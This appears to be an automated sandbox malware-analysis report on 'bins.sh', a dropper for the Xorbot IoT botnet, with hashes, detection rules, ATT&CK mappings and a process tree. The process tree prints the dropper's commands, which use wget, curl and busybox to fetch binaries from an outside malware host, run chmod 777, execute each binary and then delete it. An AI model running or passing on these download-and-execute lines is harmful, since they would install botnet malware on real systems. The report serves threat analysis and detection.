xorbot | e5786b748e9e0dfecf25461eaa7ed4492eed8ba1ef8f0ad3b74e00eca8e6ea4f

Analysis

max time kernel
149s
max time network
150s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
10/02/2025, 15:26

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General

Target
bins.sh
Size 10KB
Sample250210-svf8fawkbl
SHA256 e5786b748e9e0dfecf25461eaa7ed4492eed8ba1ef8f0ad3b74e00eca8e6ea4f
MD5 c87f082ef5ec16006910969ad769af88
SHA1 022c0287d5d8c32ffe3e80610c5fa4329c5d6db6
SHA512 46b0cb20255d9bc76f01218fb5c2dc433a39fc5890e8f59040ebf7de41f586cc34f46b097b1844cd522bb78511838fbeadda9bebe83bd7cdafa209acaa5c2f8b
SSDEEP 192:I05rTQBdpeEeEeheWeqBZVZ1ZwZDZnZOgBlrmheEeEeheWeq5ZVZ1ZwZDZnZOwAW:I05rTQBda7bwVZOgBlrmg7bwVZOwArTO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
804	chmod
812	chmod
823	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh	805	bins.sh
/tmp/GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM	813	bins.sh
/tmp/pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk	824	bins.sh

Reads runtime system information 4 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 12 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
726	curl
808	wget
809	curl
811	busybox
822	busybox
828	curl
830	busybox
701	wget
801	busybox
816	wget
820	curl
827	wget

Writes file to tmp directory 10 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh	curl
File opened for modification	/tmp/GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM	wget
File opened for modification	/tmp/GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM	curl
File opened for modification	/tmp/pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk	wget
File opened for modification	/tmp/pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk	curl
File opened for modification	/tmp/sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh	wget
File opened for modification	/tmp/sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh	busybox
File opened for modification	/tmp/GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM	busybox
File opened for modification	/tmp/pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk	busybox
File opened for modification	/tmp/pW9InR0DehjoxTq6tV25AoTx7GN09bHTcM	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:697
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:699
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:701
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:726
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:801
- /bin/chmod
  chmod 777 sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
  ./sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
  2⤵
  PID:805
- /bin/rm
  rm sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
  2⤵
  PID:807
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:808
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:809
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:811
- /bin/chmod
  chmod 777 GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM
  ./GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM
  2⤵
  PID:813
- /bin/rm
  rm GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM
  2⤵
  PID:815
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:816
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:820
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:822
- /bin/chmod
  chmod 777 pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk
  ./pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk
  2⤵
  PID:824
- /bin/rm
  rm pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk
  2⤵
  PID:826
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/pW9InR0DehjoxTq6tV25AoTx7GN09bHTcM
  2⤵
  - System Network Configuration Discovery
  PID:827
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/pW9InR0DehjoxTq6tV25AoTx7GN09bHTcM
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:828
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/pW9InR0DehjoxTq6tV25AoTx7GN09bHTcM
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:830

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM

Path /tmp/GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM
Size 122KB
SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
MD5 cd3d4b9c643e5b473fb4d88ed05f0716
SHA1 64ee7a97418583d759eaea8000890cc3bae1b5f4
SHA512 164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
SSDEEP 3072:QON+vZgnSgtpg1sgnHgS4rpq26zEz2IyombPQbZBmf35ZYp:Q0bY3AH36y2ambPQbZBm/5ZYp
MD5 SHA1 SHA512 SSDEEP

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pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk

Path /tmp/pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk
Size 107KB
SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
MD5 eb9c3a0de91fcf16ba17cb24608df68c
SHA1 09d95a7d70d5e115d103be51edff7c498d272fac
SHA512 9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
SSDEEP 3072:97fy8kXAidixidg9l8GTmNFbimQdbZ0r135z8J:9ygrhmNFGmQdbZ0rt5z8J
MD5 SHA1 SHA512 SSDEEP

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pW9InR0DehjoxTq6tV25AoTx7GN09bHTcM

Path /tmp/pW9InR0DehjoxTq6tV25AoTx7GN09bHTcM
Size 106KB
SHA256 048afc93a2bf20d19a2c3893ee6a68be91c4530e78f8d150f3aa4304afa4ce3b
MD5 6ce9941dcc4d94564c4ae26ca68bb7f0
SHA1 561507cc892456599966e6f51c1dd314352222c5
SHA512 5a44f2235233c10317ab1f4005ae7b36b05e9482a97e2bcf10661e8e6799b44080da05e273c3572023e62b88ef5336e4188ef7329e6b6923ce56f433eb5c48c5
SSDEEP 1536:VozJBoIU8hzCisGFHl8IayKB7VK+ldnAjoTbgdTGzZd+gk8LiXwRW:VozXHIisGFgyKB7xlBAUNFd45
MD5 SHA1 SHA512 SSDEEP

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sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh

Path /tmp/sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
Size 98KB
SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
MD5 5141342d0df8699fa32a6b066a0c592e
SHA1 8157673225bd5182f16215e2aa823a25ca2d4fbc
SHA512 d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
SSDEEP 3072:lxvAwSaWFr5Ryrfb3jb9RxqgRfEma1b5wdL35sPX:32FrIT3/9jqgmma1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads